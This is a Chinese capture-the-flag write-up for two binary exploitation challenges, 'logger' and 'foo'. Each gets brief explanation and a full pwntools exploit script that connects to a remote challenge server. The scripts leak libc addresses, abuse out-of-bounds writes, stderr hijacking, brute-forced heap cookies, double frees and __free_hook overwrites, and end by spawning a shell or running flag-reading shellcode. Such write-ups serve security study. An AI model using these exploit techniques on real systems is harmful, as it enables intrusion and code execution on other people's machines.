PWN

logger

第一次输入Warning时栈上有残留信息,以此leak出libc地址。

Warning_once会对0x67f7b0+idx处地址写入一个值(该值为输入data的长度),并且idx未检查,可以输入负数溢出。

通过劫持stderr到bss上,布置好函数表,退出时会用到stderr,用system调用shell即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import *

#p = process("./logger")

p = remote("39.105.35.195","12432")

libc = ELF("logger").libc

#context.log_level = 'debug'

def Warning1(data):

p.recvuntil("4. Exit")

p.sendline("1")

p.recvuntil("Content:")

p.send(data)

def Warning_once1(data,idx):

p.recvuntil("4. Exit")

p.sendline("2")

p.recvuntil("Content:")

p.send(data)

p.recvuntil("ID:")

p.send(str(idx))

def error1(data):

p.recvuntil("4. Exit")

p.sendline("3")

p.recvuntil("Content:")

p.send(data)



one = [0x45226,0x4527a,0xf0364,0xf1207]

Warning1("a"*56)

p.recvuntil("a"*56)

libc_base = u64(p.recv(6)+'\x00\x00')-0x3A2A9

print hex(libc_base)



one_gadget = libc_base +libc.sym['system']

#IO

Warning_once1("1"*(one_gadget&0xff),0)

Warning_once1("1"*((one_gadget>>8)&0xff),1)

Warning_once1("1"*((one_gadget>>16)&0xff),2)

Warning_once1("1"*((one_gadget>>24)&0xff),3)

Warning_once1("1"*((one_gadget>>32)&0xff),4)

Warning_once1("1"*((one_gadget>>40)&0xff),5)



#Warning_once1("1"*((one_gadget>>48)&0xff),6)

Warning_once1("1"*(ord('s')),0x10+0)

Warning_once1("1"*(ord('h')),0x10+1)



Warning_once1("1"*(0xc0),-0x10)

Warning_once1("1"*(0xF7),-0x10+1)

Warning_once1("1"*(0x67),-0x10+2)

Warning_once1("1"*(0x100),-0x10+3)

Warning_once1("1"*(0x100),-0x10+4)

Warning_once1("1"*(0x100),-0x10+5)



Warning_once1("1"*(0xb0-8),0x98)

Warning_once1("1"*(0xF7),0x98+1)

Warning_once1("1"*(0x67),0x98+2)

Warning_once1("1"*(0x100),0x98+3)

Warning_once1("1"*(0x100),0x98+4)

Warning_once1("1"*(0x100),0x98+5)



Warning_once1("1"*(0xb0-0x38),0xe8)

Warning_once1("1"*(0xF8),0xe8+1)

Warning_once1("1"*(0x67),0xe8+2)

Warning_once1("1"*(0x100),0xe8+3)

Warning_once1("1"*(0x100),0xe8+4)

Warning_once1("1"*(0x100),0xe8+5)



Warning_once1("1"*(one_gadget&0xff),0x100+0)

Warning_once1("1"*((one_gadget>>8)&0xff),0x100+1)

Warning_once1("1"*((one_gadget>>16)&0xff),0x100+2)

Warning_once1("1"*((one_gadget>>24)&0xff),0x100+3)

Warning_once1("1"*((one_gadget>>32)&0xff),0x100+4)

Warning_once1("1"*((one_gadget>>40)&0xff),0x100+5)



#gdb.attach(p,'b fprintf\n b system\n b *0x406860')





p.recvuntil("4. Exit")

p.sendline("4")

p.interactive()

foo

用seccomp初始化沙盒,所以堆上会残留信息,以此来leak出libc地址。

接着逐位爆破cookie。

然后利用malloc_consolidate机制,将0x40的堆块合并到topchunk中,再进行guess申请到该地址,并将0x28偏移处改为cookie,即可构成double free。

继续操作将该堆块合并进top chunk中,接着再依次进行申请堆块以及guess即可写fd,通过此操作劫持__free_hook

__free_hook修改为printf即可用格式化字符串来进行leak操作。

操作完毕后0x190的tcache中会存在两个相邻的0x40的堆块,通过guess溢出第二个堆块到第一个堆块的fd,将其修改为页对齐的地址。接着申请到该地址到idx为7处,并修改__free_hook为mprotect。接着free(7),即会将该地址设置为可读写操作。

最后将__free_hook为下一申请到的0x190的堆块地址,并用guess在此堆块上写入shellcode进行orw。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from pwn import *
#p = process("./foo",env = {"LD_PRELOAD":"./libc.so"})
p = remote("39.105.35.195","13452")
libc = ELF("./libc.so")
def add(idx):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(idx))
def edit(idx,data):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.send(data)
def show(idx):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def free(idx):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
def guess(data):
p.recvuntil("Your choice: ")
p.sendline("5")
p.recvuntil("Want the cookie? ")
p.send(data)
p.sendline("1"*0x800)
add(0)
show(0)
p.recvuntil("Content: ")
libc_base = u64(p.recv(6)+'\x00\x00')-0x3EBCD0
print hex(libc_base)
libc.address =libc_base
#try cookie
cookie = 0
for i in range(0x100):
add(0)
edit(0,'\x00'*0x28+p64(i)[0])
show(0)
s = p.recvuntil("6. exit")
if 'Content: ' in s:
cookie += i
break
print hex(cookie)
for i in range(1,0x100):
add(0)
edit(0,'\x00'*0x28+p64(i*0x100+cookie)[:2])
show(0)
s = p.recvuntil("6. exit")
if 'Content: ' in s:
cookie += i*0x100
break
print hex(cookie)
for i in range(1,0x100):
add(0)
edit(0,'\x00'*0x28+p64(i*0x10000+cookie)[:3])
show(0)
s = p.recvuntil("6. exit")
if 'Content: ' in s:
cookie += i*0x10000
break
print hex(cookie)
for i in range(1,0x100):
add(0)
edit(0,'\x00'*0x28+p64(i*0x1000000+cookie)[:4])
show(0)
s = p.recvuntil("6. exit")
if 'Content: ' in s:
cookie += i*0x1000000
break
print hex(cookie)
for i in range(8):
add(i)
for i in range(7):
free(6-i)
free(7)
for i in range(7):
p.sendline("1"*0x800)
guess('\x00'*0x28+p32(cookie))
free(7)
for i in range(1,9):
add(i)
show(2)
p.recvuntil("Content: ")
heap = u64(p.recv(6)+'\x00\x00')
print hex(heap)

#overwrite
free(6)
free(7)
free(8)
guess('\x00'*0x28+p32(cookie))
add(0)
add(0)
#leak pie stack
edit(0,p64(libc.sym['__free_hook']))
add(0)
add(0)
edit(0,p64(libc.sym['printf']))#0x3EFD0
edit(1,'%p%14$p')
free(1)
p.recvuntil("0x")
pie = int(p.recv(12),16)-0xFCF
p.recvuntil("0x")
stack = int(p.recv(12),16)

print hex(stack)
print hex(pie)
edit(0,p64(0))
guess('\x00'*0x28+p32(cookie))
guess(p64(0)*7+p64(0x41)+p64((heap&0xffffffffff000)))
add(7)
add(7)
add(7)
edit(0,p64(libc.sym['mprotect']))
free(7)
edit(0,p64(heap+0x180))
#gdb.attach(p,'b free')
shellcode = '''
mov rax,2
mov rdi,'''+str(heap+0x180+0x100)+'''
mov rsi,0
mov rdx,0
syscall

mov rax,0
mov rsi,'''+str(heap+0x180+0x200)+'''
mov rdi,3
mov rdx,0x100
syscall

mov rax,1
mov rsi,'''+str(heap+0x180+0x200)+'''
mov rdi,1
mov rdx,0x100
syscall
'''
shellcode = asm(shellcode,arch='amd64')
guess(shellcode.ljust(0x100,'\x00')+'flag\x00')
p.interactive()